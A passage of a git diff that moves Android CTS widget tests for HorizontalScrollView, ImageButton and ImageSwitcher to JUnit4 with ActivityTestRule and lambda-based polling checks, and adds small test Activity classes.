+        assertTrue(mScrollViewCustom.fullScroll(View.FOCUS_RIGHT));
+        assertEquals(SCROLL_RIGHT, mScrollViewCustom.getScrollX());
 
-        assertFalse(mScrollView.fullScroll(View.FOCUS_RIGHT));
-        assertEquals(SCROLL_RIGHT, mScrollView.getScrollX());
+        assertFalse(mScrollViewCustom.fullScroll(View.FOCUS_RIGHT));
+        assertEquals(SCROLL_RIGHT, mScrollViewCustom.getScrollX());
 
-        assertTrue(mScrollView.fullScroll(View.FOCUS_LEFT));
-        assertEquals(0, mScrollView.getScrollX());
+        assertTrue(mScrollViewCustom.fullScroll(View.FOCUS_LEFT));
+        assertEquals(0, mScrollViewCustom.getScrollX());
 
-        assertFalse(mScrollView.fullScroll(View.FOCUS_LEFT));
-        assertEquals(0, mScrollView.getScrollX());
+        assertFalse(mScrollViewCustom.fullScroll(View.FOCUS_LEFT));
+        assertEquals(0, mScrollViewCustom.getScrollX());
     }
 
     @UiThreadTest
+    @Test
     public void testArrowScroll() {
-        mScrollView.setSmoothScrollingEnabled(false);
-        assertEquals(0, mScrollView.getScrollX());
+        mScrollViewCustom.setSmoothScrollingEnabled(false);
+        assertEquals(0, mScrollViewCustom.getScrollX());
 
-        int x = mScrollView.getScrollX();
+        int x = mScrollViewCustom.getScrollX();
         while (SCROLL_RIGHT != x) {
-            assertTrue(mScrollView.arrowScroll(View.FOCUS_RIGHT));
-            assertTrue(x <= mScrollView.getScrollX());
-            x = mScrollView.getScrollX();
+            assertTrue(mScrollViewCustom.arrowScroll(View.FOCUS_RIGHT));
+            assertTrue(x <= mScrollViewCustom.getScrollX());
+            x = mScrollViewCustom.getScrollX();
         }
 
-        assertFalse(mScrollView.arrowScroll(View.FOCUS_RIGHT));
-        assertEquals(SCROLL_RIGHT, mScrollView.getScrollX());
+        assertFalse(mScrollViewCustom.arrowScroll(View.FOCUS_RIGHT));
+        assertEquals(SCROLL_RIGHT, mScrollViewCustom.getScrollX());
 
-        x = mScrollView.getScrollX();
+        x = mScrollViewCustom.getScrollX();
         while (0 != x) {
-            assertTrue(mScrollView.arrowScroll(View.FOCUS_LEFT));
-            assertTrue(x >= mScrollView.getScrollX());
-            x = mScrollView.getScrollX();
+            assertTrue(mScrollViewCustom.arrowScroll(View.FOCUS_LEFT));
+            assertTrue(x >= mScrollViewCustom.getScrollX());
+            x = mScrollViewCustom.getScrollX();
         }
 
-        assertFalse(mScrollView.arrowScroll(View.FOCUS_LEFT));
-        assertEquals(0, mScrollView.getScrollX());
+        assertFalse(mScrollViewCustom.arrowScroll(View.FOCUS_LEFT));
+        assertEquals(0, mScrollViewCustom.getScrollX());
     }
 
+    @Test
     public void testSmoothScrollBy() throws Throwable {
-        assertEquals(0, mScrollView.getScrollX());
-        assertEquals(0, mScrollView.getScrollY());
+        assertEquals(0, mScrollViewCustom.getScrollX());
+        assertEquals(0, mScrollViewCustom.getScrollY());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.smoothScrollBy(SCROLL_RIGHT, 0);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mScrollViewCustom.smoothScrollBy(SCROLL_RIGHT, 0));
         pollingCheckSmoothScrolling(0, SCROLL_RIGHT, 0, 0);
-        assertEquals(SCROLL_RIGHT, mScrollView.getScrollX());
-        assertEquals(0, mScrollView.getScrollY());
+        assertEquals(SCROLL_RIGHT, mScrollViewCustom.getScrollX());
+        assertEquals(0, mScrollViewCustom.getScrollY());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.smoothScrollBy(-SCROLL_RIGHT, 0);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mScrollViewCustom.smoothScrollBy(-SCROLL_RIGHT, 0));
         pollingCheckSmoothScrolling(SCROLL_RIGHT, 0, 0, 0);
-        assertEquals(0, mScrollView.getScrollX());
-        assertEquals(0, mScrollView.getScrollY());
+        assertEquals(0, mScrollViewCustom.getScrollX());
+        assertEquals(0, mScrollViewCustom.getScrollY());
     }
 
+    @Test
     public void testSmoothScrollTo() throws Throwable {
-        assertEquals(0, mScrollView.getScrollX());
-        assertEquals(0, mScrollView.getScrollY());
+        assertEquals(0, mScrollViewCustom.getScrollX());
+        assertEquals(0, mScrollViewCustom.getScrollY());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.smoothScrollTo(SCROLL_RIGHT, 0);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mScrollViewCustom.smoothScrollTo(SCROLL_RIGHT, 0));
         pollingCheckSmoothScrolling(0, SCROLL_RIGHT, 0, 0);
-        assertEquals(SCROLL_RIGHT, mScrollView.getScrollX());
-        assertEquals(0, mScrollView.getScrollY());
+        assertEquals(SCROLL_RIGHT, mScrollViewCustom.getScrollX());
+        assertEquals(0, mScrollViewCustom.getScrollY());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.smoothScrollTo(0, 0);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mScrollViewCustom.smoothScrollTo(0, 0));
         pollingCheckSmoothScrolling(SCROLL_RIGHT, 0, 0, 0);
-        assertEquals(0, mScrollView.getScrollX());
-        assertEquals(0, mScrollView.getScrollY());
+        assertEquals(0, mScrollViewCustom.getScrollX());
+        assertEquals(0, mScrollViewCustom.getScrollY());
     }
 
+    @Test
     public void testComputeScrollDeltaToGetChildRectOnScreen() {
-        mScrollView.setSmoothScrollingEnabled(false);
-        int edge = mScrollView.getHorizontalFadingEdgeLength();
+        mScrollViewCustom.setSmoothScrollingEnabled(false);
+        int edge = mScrollViewCustom.getHorizontalFadingEdgeLength();
+
+        MyHorizontalScrollView myScrollViewCustom = (MyHorizontalScrollView) mScrollViewCustom;
 
         // Rect's width is smaller than scroll view
         Rect rect = new Rect(0, 0, 0, 0);
-        assertEquals(0, mScrollView.computeScrollDeltaToGetChildRectOnScreen(rect));
+        assertEquals(0, myScrollViewCustom.computeScrollDeltaToGetChildRectOnScreen(rect));
 
         rect = new Rect(edge, 0, PAGE_WIDTH, 0);
-        assertEquals(0, mScrollView.computeScrollDeltaToGetChildRectOnScreen(rect));
+        assertEquals(0, myScrollViewCustom.computeScrollDeltaToGetChildRectOnScreen(rect));
 
-        mScrollView.scrollTo(0, 0);
+        mScrollViewCustom.scrollTo(0, 0);
         rect = new Rect(edge + 1, 0, PAGE_WIDTH, 0);
-        assertEquals(edge, mScrollView.computeScrollDeltaToGetChildRectOnScreen(rect));
+        assertEquals(edge, myScrollViewCustom.computeScrollDeltaToGetChildRectOnScreen(rect));
     }
 
+    @Test
     public void testComputeHorizontalScrollRange() {
-        assertTrue(mScrollView.getChildCount() > 0);
-        assertEquals(ITEM_WIDTH * ITEM_COUNT, mScrollView.computeHorizontalScrollRange());
+        assertTrue(mScrollViewCustom.getChildCount() > 0);
+        assertEquals(ITEM_WIDTH * ITEM_COUNT,
+                ((MyHorizontalScrollView) mScrollViewCustom).computeHorizontalScrollRange());
 
         MyHorizontalScrollView scrollView = new MyHorizontalScrollView(mActivity);
         assertEquals(0, scrollView.getChildCount());
@@ -645,144 +665,108 @@
     }
 
     @UiThreadTest
+    @Test
     public void testRequestChildFocus() {
-        mScrollView.setSmoothScrollingEnabled(false);
+        mScrollViewCustom.setSmoothScrollingEnabled(false);
 
-        View firstChild = mScrollView.findViewById(R.id.first_horizontal_child);
-        View lastChild = mScrollView.findViewById(R.id.last_horizontal_child);
+        View firstChild = mScrollViewCustom.findViewById(R.id.first_horizontal_child);
+        View lastChild = mScrollViewCustom.findViewById(R.id.last_horizontal_child);
         firstChild.requestFocus();
 
-        int scrollX = mScrollView.getScrollX();
-        mScrollView.requestChildFocus(lastChild, lastChild);
+        int scrollX = mScrollViewCustom.getScrollX();
+        mScrollViewCustom.requestChildFocus(lastChild, lastChild);
         // check scrolling to the child which wants focus
-        assertTrue(mScrollView.getScrollX() > scrollX);
+        assertTrue(mScrollViewCustom.getScrollX() > scrollX);
 
-        scrollX = mScrollView.getScrollX();
-        mScrollView.requestChildFocus(firstChild, firstChild);
+        scrollX = mScrollViewCustom.getScrollX();
+        mScrollViewCustom.requestChildFocus(firstChild, firstChild);
         // check scrolling to the child which wants focus
-        assertTrue(mScrollView.getScrollX() < scrollX);
+        assertTrue(mScrollViewCustom.getScrollX() < scrollX);
     }
 
     @UiThreadTest
+    @Test
     public void testRequestChildRectangleOnScreen() {
-        mScrollView.setSmoothScrollingEnabled(false);
-        int edge = mScrollView.getHorizontalFadingEdgeLength();
+        mScrollViewCustom.setSmoothScrollingEnabled(false);
+        int edge = mScrollViewCustom.getHorizontalFadingEdgeLength();
 
-        View child = mScrollView.findViewById(R.id.first_horizontal_child);
+        View child = mScrollViewCustom.findViewById(R.id.first_horizontal_child);
         final Rect originalRect = new Rect(0, 0, 10, 10);
         final Rect newRect = new Rect(ITEM_WIDTH - 10, ITEM_HEIGHT - 10, ITEM_WIDTH, ITEM_HEIGHT);
 
-        assertFalse(mScrollView.requestChildRectangleOnScreen(child, originalRect, true));
-        assertEquals(0, mScrollView.getScrollX());
-        assertEquals(0, mScrollView.getScrollY());
+        assertFalse(mScrollViewCustom.requestChildRectangleOnScreen(child, originalRect, true));
+        assertEquals(0, mScrollViewCustom.getScrollX());
+        assertEquals(0, mScrollViewCustom.getScrollY());
 
-        assertTrue(mScrollView.requestChildRectangleOnScreen(child, newRect, true));
-        assertEquals(ITEM_WIDTH - mScrollView.getWidth() + edge, mScrollView.getScrollX());
-        assertEquals(0, mScrollView.getScrollY());
+        assertTrue(mScrollViewCustom.requestChildRectangleOnScreen(child, newRect, true));
+        assertEquals(ITEM_WIDTH - mScrollViewCustom.getWidth() + edge, mScrollViewCustom.getScrollX());
+        assertEquals(0, mScrollViewCustom.getScrollY());
     }
 
     @UiThreadTest
+    @Test
     public void testRequestLayout() {
-        mScrollView.requestLayout();
+        mScrollViewCustom.requestLayout();
 
-        assertTrue(mScrollView.isLayoutRequested());
+        assertTrue(mScrollViewCustom.isLayoutRequested());
     }
 
+    @Test
     public void testFling() throws Throwable {
-        mScrollView.setSmoothScrollingEnabled(true);
-        assertEquals(0, mScrollView.getScrollX());
+        mScrollViewCustom.setSmoothScrollingEnabled(true);
+        assertEquals(0, mScrollViewCustom.getScrollX());
 
-        final int velocityX = WidgetTestUtils.convertDipToPixels(getActivity(), 2000);
+        final int velocityX = WidgetTestUtils.convertDipToPixels(mActivity, 2000);
 
         // fling towards right
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.fling(velocityX);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mScrollViewCustom.fling(velocityX));
         pollingCheckFling(0, true);
 
-        final int currentX = mScrollView.getScrollX();
+        final int currentX = mScrollViewCustom.getScrollX();
         // fling towards left
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.fling(-velocityX);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mScrollViewCustom.fling(-velocityX));
         pollingCheckFling(currentX, false);
     }
 
     @UiThreadTest
+    @Test
     public void testScrollTo() {
-        mScrollView.setSmoothScrollingEnabled(false);
+        mScrollViewCustom.setSmoothScrollingEnabled(false);
 
-        mScrollView.scrollTo(10, 10);
-        assertEquals(0, mScrollView.getScrollY());
-        assertEquals(10, mScrollView.getScrollX());
+        mScrollViewCustom.scrollTo(10, 10);
+        assertEquals(0, mScrollViewCustom.getScrollY());
+        assertEquals(10, mScrollViewCustom.getScrollX());
 
-        mScrollView.scrollTo(PAGE_WIDTH, PAGE_HEIGHT);
-        assertEquals(0, mScrollView.getScrollY());
-        assertEquals(PAGE_WIDTH, mScrollView.getScrollX());
+        mScrollViewCustom.scrollTo(PAGE_WIDTH, PAGE_HEIGHT);
+        assertEquals(0, mScrollViewCustom.getScrollY());
+        assertEquals(PAGE_WIDTH, mScrollViewCustom.getScrollX());
 
-        mScrollView.scrollTo(SCROLL_RIGHT, 0);
-        assertEquals(0, mScrollView.getScrollY());
-        assertEquals(SCROLL_RIGHT, mScrollView.getScrollX());
+        mScrollViewCustom.scrollTo(SCROLL_RIGHT, 0);
+        assertEquals(0, mScrollViewCustom.getScrollY());
+        assertEquals(SCROLL_RIGHT, mScrollViewCustom.getScrollX());
 
         // reach the top and left
-        mScrollView.scrollTo(-10, -10);
-        assertEquals(0, mScrollView.getScrollY());
-        assertEquals(0, mScrollView.getScrollX());
+        mScrollViewCustom.scrollTo(-10, -10);
+        assertEquals(0, mScrollViewCustom.getScrollY());
+        assertEquals(0, mScrollViewCustom.getScrollX());
     }
 
+    @Test
     public void testGetHorizontalFadingEdgeStrengths() {
-        assertTrue(mScrollView.getChildCount() > 0);
-        assertTrue(mScrollView.getLeftFadingEdgeStrength() <= 1.0f);
-        assertTrue(mScrollView.getLeftFadingEdgeStrength() >= 0.0f);
-        assertTrue(mScrollView.getRightFadingEdgeStrength() <= 1.0f);
-        assertTrue(mScrollView.getRightFadingEdgeStrength() >= 0.0f);
+        MyHorizontalScrollView myScrollViewCustom = (MyHorizontalScrollView) mScrollViewCustom;
+
+        assertTrue(mScrollViewCustom.getChildCount() > 0);
+        assertTrue(myScrollViewCustom.getLeftFadingEdgeStrength() <= 1.0f);
+        assertTrue(myScrollViewCustom.getLeftFadingEdgeStrength() >= 0.0f);
+        assertTrue(myScrollViewCustom.getRightFadingEdgeStrength() <= 1.0f);
+        assertTrue(myScrollViewCustom.getRightFadingEdgeStrength() >= 0.0f);
 
         MyHorizontalScrollView myScrollView = new MyHorizontalScrollView(mActivity);
         assertEquals(0, myScrollView.getChildCount());
-        assertTrue(mScrollView.getLeftFadingEdgeStrength() <= 1.0f);
-        assertTrue(mScrollView.getLeftFadingEdgeStrength() >= 0.0f);
-        assertTrue(mScrollView.getRightFadingEdgeStrength() <= 1.0f);
-        assertTrue(mScrollView.getRightFadingEdgeStrength() >= 0.0f);
-    }
-
-    public void testOnLayout() {
-        // onLayout() is implementation details, do NOT test
-    }
-
-    public void testOnMeasure() {
-        // onMeasure() is implementation details, do NOT test
-    }
-
-    public void testExecuteKeyEvent() {
-        // executeKeyEvent() is implementation details, do NOT test
-    }
-
-    public void testOnRequestFocusInDescendants() {
-        // onRequestFocusInDescendants() is implementation details, do NOT test
-    }
-
-    public void testOnSizeChanged() {
-        // onSizeChanged() is implementation details, do NOT test
-    }
-
-    public void testDispatchKeyEvent() {
-        // dispatchKeyEvent() is implementation details, do NOT test
-    }
-
-    public void testOnInterceptTouchEvent() {
-        // onInterceptTouchEvent() is implementation details, do NOT test
-    }
-
-    public void testOnTouchEvent() {
-        // onTouchEvent() is implementation details, do NOT test
-    }
-
-    public void testComputeScroll() {
-        // computeScroll() is implementation details, do NOT test
+        assertTrue(myScrollViewCustom.getLeftFadingEdgeStrength() <= 1.0f);
+        assertTrue(myScrollViewCustom.getLeftFadingEdgeStrength() >= 0.0f);
+        assertTrue(myScrollViewCustom.getRightFadingEdgeStrength() <= 1.0f);
+        assertTrue(myScrollViewCustom.getRightFadingEdgeStrength() >= 0.0f);
     }
 
     private boolean isInRange(int current, int from, int to) {
@@ -800,55 +784,34 @@
         }
 
         if (fromY != toY) {
-            new PollingCheck() {
-                @Override
-                protected boolean check() {
-                    return isInRange(mScrollView.getScrollY(), fromY, toY);
-                }
-            }.run();
+            PollingCheck.waitFor(() -> isInRange(mScrollViewCustom.getScrollY(), fromY, toY));
         }
 
         if (fromX != toX) {
-            new PollingCheck() {
-                @Override
-                protected boolean check() {
-                    return isInRange(mScrollView.getScrollX(), fromX, toX);
-                }
-            }.run();
+            PollingCheck.waitFor(() -> isInRange(mScrollViewCustom.getScrollX(), fromX, toX));
         }
 
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return toX == mScrollView.getScrollX() && toY == mScrollView.getScrollY();
-            }
-        }.run();
+        PollingCheck.waitFor(
+                () -> toX == mScrollViewCustom.getScrollX() && toY == mScrollViewCustom.getScrollY());
     }
 
     private void pollingCheckFling(final int startPosition, final boolean movingRight) {
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                if (movingRight) {
-                    return mScrollView.getScrollX() > startPosition;
-                }
-                return mScrollView.getScrollX() < startPosition;
+        PollingCheck.waitFor(() -> {
+            if (movingRight) {
+                return mScrollViewCustom.getScrollX() > startPosition;
             }
-        }.run();
+            return mScrollViewCustom.getScrollX() < startPosition;
+        });
 
-        new PollingCheck() {
-            private int mPreviousScrollX = mScrollView.getScrollX();
-
-            @Override
-            protected boolean check() {
-                if (mScrollView.getScrollX() == mPreviousScrollX) {
-                    return true;
-                } else {
-                    mPreviousScrollX = mScrollView.getScrollX();
-                    return false;
-                }
+        final int[] previousScrollX = new int[] { mScrollViewCustom.getScrollX() };
+        PollingCheck.waitFor(() -> {
+            if (mScrollViewCustom.getScrollX() == previousScrollX[0]) {
+                return true;
+            } else {
+                previousScrollX[0] = mScrollViewCustom.getScrollX();
+                return false;
             }
-        }.run();
+        });
     }
 
     public static class MyView extends View {
@@ -878,4 +841,66 @@
             }
         }
     }
+
+    public static class MyHorizontalScrollView extends HorizontalScrollView {
+        public MyHorizontalScrollView(Context context) {
+            super(context);
+        }
+
+        public MyHorizontalScrollView(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+
+        public MyHorizontalScrollView(Context context, AttributeSet attrs, int defStyle) {
+            super(context, attrs, defStyle);
+        }
+
+        @Override
+        protected int computeHorizontalScrollRange() {
+            return super.computeHorizontalScrollRange();
+        }
+
+        @Override
+        protected int computeScrollDeltaToGetChildRectOnScreen(Rect rect) {
+            return super.computeScrollDeltaToGetChildRectOnScreen(rect);
+        }
+
+        @Override
+        protected float getLeftFadingEdgeStrength() {
+            return super.getLeftFadingEdgeStrength();
+        }
+
+        @Override
+        protected float getRightFadingEdgeStrength() {
+            return super.getRightFadingEdgeStrength();
+        }
+
+        @Override
+        protected void measureChild(View child, int parentWidthMeasureSpec,
+                int parentHeightMeasureSpec) {
+            super.measureChild(child, parentWidthMeasureSpec, parentHeightMeasureSpec);
+        }
+
+        @Override
+        protected void measureChildWithMargins(View child, int parentWidthMeasureSpec, int widthUsed,
+                int parentHeightMeasureSpec, int heightUsed) {
+            super.measureChildWithMargins(child, parentWidthMeasureSpec,
+                    widthUsed, parentHeightMeasureSpec, heightUsed);
+        }
+
+        @Override
+        public int computeVerticalScrollRange() {
+            return super.computeVerticalScrollRange();
+        }
+
+        @Override
+        public int computeVerticalScrollOffset() {
+            return super.computeVerticalScrollOffset();
+        }
+
+        @Override
+        public int computeVerticalScrollExtent() {
+            return super.computeVerticalScrollExtent();
+        }
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/ImageButtonCtsActivity.java b/tests/tests/widget/src/android/widget/cts/ImageButtonCtsActivity.java
new file mode 100644
index 0000000..5f91950
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/ImageButtonCtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.ImageButton;
+
+/**
+ * A minimal application for {@link ImageButton} test.
+ */
+public class ImageButtonCtsActivity extends Activity {
+    /**
+     * Called with the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.imagebutton_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/ImageButtonTest.java b/tests/tests/widget/src/android/widget/cts/ImageButtonTest.java
index 05c0e3f..c433be6 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageButtonTest.java
@@ -16,48 +16,81 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
-
-import org.xmlpull.v1.XmlPullParser;
-
-import android.test.AndroidTestCase;
-import android.util.AttributeSet;
-import android.util.Xml;
+import android.app.Activity;
+import android.graphics.Color;
+import android.graphics.drawable.Drawable;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.widget.ImageButton;
+import android.widget.cts.util.TestUtils;
 
-public class ImageButtonTest extends AndroidTestCase {
-    public void testConstructor() {
-        XmlPullParser parser = getContext().getResources().getXml(R.layout.imagebutton_test);
-        AttributeSet attrs = Xml.asAttributeSet(parser);
-        assertNotNull(attrs);
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-        new ImageButton(getContext());
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ImageButtonTest {
+    private Activity mActivity;
+    private ImageButton mImageButton;
 
-        new ImageButton(getContext(), attrs);
+    @Rule
+    public ActivityTestRule<ImageButtonCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ImageButtonCtsActivity.class);
 
-        new ImageButton(getContext(), attrs, 0);
-
-        try {
-            new ImageButton(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            new ImageButton(null, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            new ImageButton(null, null, -1);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mImageButton = (ImageButton) mActivity.findViewById(R.id.image_button);
     }
 
-    public void testOnSetAlpha() {
-        // Do not test, it's controlled by View. Implementation details.
+    @Test
+    public void testConstructor() {
+        new ImageButton(mActivity);
+        new ImageButton(mActivity, null);
+        new ImageButton(mActivity, null, android.R.attr.imageButtonStyle);
+        new ImageButton(mActivity, null, 0, android.R.style.Widget_DeviceDefault_ImageButton);
+        new ImageButton(mActivity, null, 0, android.R.style.Widget_DeviceDefault_Light_ImageButton);
+        new ImageButton(mActivity, null, 0, android.R.style.Widget_Material_ImageButton);
+        new ImageButton(mActivity, null, 0, android.R.style.Widget_Material_Light_ImageButton);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext1() {
+        new ImageButton(null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext2() {
+        new ImageButton(null, null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext3() {
+        new ImageButton(null, null, -1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImageSource() {
+        Drawable imageButtonDrawable = mImageButton.getDrawable();
+        TestUtils.assertAllPixelsOfColor("Default source is red", imageButtonDrawable,
+                imageButtonDrawable.getIntrinsicWidth(), imageButtonDrawable.getIntrinsicHeight(),
+                true, Color.RED, 1, false);
+
+        mImageButton.setImageResource(R.drawable.icon_green);
+        imageButtonDrawable = mImageButton.getDrawable();
+        TestUtils.assertAllPixelsOfColor("New source is green", imageButtonDrawable,
+                imageButtonDrawable.getIntrinsicWidth(), imageButtonDrawable.getIntrinsicHeight(),
+                true, Color.GREEN, 1, false);
+
+        mImageButton.setImageDrawable(mActivity.getDrawable(R.drawable.icon_yellow));
+        imageButtonDrawable = mImageButton.getDrawable();
+        TestUtils.assertAllPixelsOfColor("New source is yellow", imageButtonDrawable,
+                imageButtonDrawable.getIntrinsicWidth(), imageButtonDrawable.getIntrinsicHeight(),
+                true, Color.YELLOW, 1, false);
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/ImageSwitcherCtsActivity.java b/tests/tests/widget/src/android/widget/cts/ImageSwitcherCtsActivity.java
new file mode 100644
index 0000000..f67974a
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/ImageSwitcherCtsActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class ImageSwitcherCtsActivity extends Activity {
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.imageswitcher_layout);
+    }
+}
+
diff --git a/tests/tests/widget/src/android/widget/cts/ImageSwitcherTest.java b/tests/tests/widget/src/android/widget/cts/ImageSwitcherTest.java
index a7bca5c..ea79796 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageSwitcherTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageSwitcherTest.java
@@ -16,163 +16,177 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.fail;
 
-
-import org.xmlpull.v1.XmlPullParser;
-
+import android.app.Activity;
 import android.content.Context;
 import android.content.res.Resources;
-import android.cts.util.WidgetTestUtils;
 import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Drawable;
 import android.net.Uri;
-import android.test.AndroidTestCase;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.widget.ImageSwitcher;
 import android.widget.ImageView;
 
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
 
-public class ImageSwitcherTest extends AndroidTestCase {
-    public void testConstructor() {
-        new ImageSwitcher(getContext());
+/**
+ * Test {@link ImageSwitcher}.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ImageSwitcherTest {
+    private Activity mActivity;
+    private ImageSwitcher mImageSwitcher;
 
-        new ImageSwitcher(getContext(), null);
+    @Rule
+    public ActivityTestRule<ImageSwitcherCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ImageSwitcherCtsActivity.class);
 
-        XmlPullParser parser = getContext().getResources().getXml(R.layout.imageswitcher_test);
-        AttributeSet attrs = Xml.asAttributeSet(parser);
-        assertNotNull(attrs);
-        new ImageSwitcher(getContext(), attrs);
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mImageSwitcher = (ImageSwitcher) mActivity.findViewById(R.id.switcher);
     }
 
-    public void testSetImageResource() {
-        // new the ImageSwitcher instance
-        ImageSwitcher imageSwitcher = new ImageSwitcher(getContext());
-        ImageView iv = new ImageView(getContext());
-        imageSwitcher.addView(iv);
-        ImageView iv1 = new ImageView(getContext());
-        imageSwitcher.addView(iv1);
+    @Test
+    public void testConstructor() {
+        new ImageSwitcher(mActivity);
 
-        assertSame(iv, imageSwitcher.getCurrentView());
-        imageSwitcher.setImageResource(R.drawable.scenery);
-        assertSame(iv1, imageSwitcher.getCurrentView());
-        Resources resources = getContext().getResources();
+        new ImageSwitcher(mActivity, null);
+
+        XmlPullParser parser = mActivity.getResources().getXml(R.layout.imageswitcher_layout);
+        AttributeSet attrs = Xml.asAttributeSet(parser);
+        assertNotNull(attrs);
+        new ImageSwitcher(mActivity, attrs);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetImageResource() {
+        ImageView iv = new ImageView(mActivity);
+        mImageSwitcher.addView(iv);
+        ImageView iv1 = new ImageView(mActivity);
+        mImageSwitcher.addView(iv1);
+
+        assertSame(iv, mImageSwitcher.getCurrentView());
+        mImageSwitcher.setImageResource(R.drawable.scenery);
+        assertSame(iv1, mImageSwitcher.getCurrentView());
+        Resources resources = mActivity.getResources();
         Drawable drawable = resources.getDrawable(R.drawable.scenery);
         BitmapDrawable sceneryBitmap = (BitmapDrawable) drawable;
         BitmapDrawable currViewBitmap =
-            (BitmapDrawable) ((ImageView) imageSwitcher.getCurrentView()).getDrawable();
+            (BitmapDrawable) ((ImageView) mImageSwitcher.getCurrentView()).getDrawable();
         WidgetTestUtils.assertEquals(sceneryBitmap.getBitmap(), currViewBitmap.getBitmap());
 
-        imageSwitcher.setImageResource(R.drawable.testimage);
-        assertSame(iv, imageSwitcher.getCurrentView());
+        mImageSwitcher.setImageResource(R.drawable.testimage);
+        assertSame(iv, mImageSwitcher.getCurrentView());
         drawable = resources.getDrawable(R.drawable.testimage);
         BitmapDrawable testimageBitmap = (BitmapDrawable) drawable;
         currViewBitmap =
-            (BitmapDrawable) ((ImageView) imageSwitcher.getCurrentView()).getDrawable();
+            (BitmapDrawable) ((ImageView) mImageSwitcher.getCurrentView()).getDrawable();
         WidgetTestUtils.assertEquals(testimageBitmap.getBitmap(), currViewBitmap.getBitmap());
 
-        imageSwitcher.setImageResource(-1);
-        assertNull(((ImageView) imageSwitcher.getCurrentView()).getDrawable());
+        mImageSwitcher.setImageResource(-1);
+        assertNull(((ImageView) mImageSwitcher.getCurrentView()).getDrawable());
     }
 
+    @UiThreadTest
+    @Test
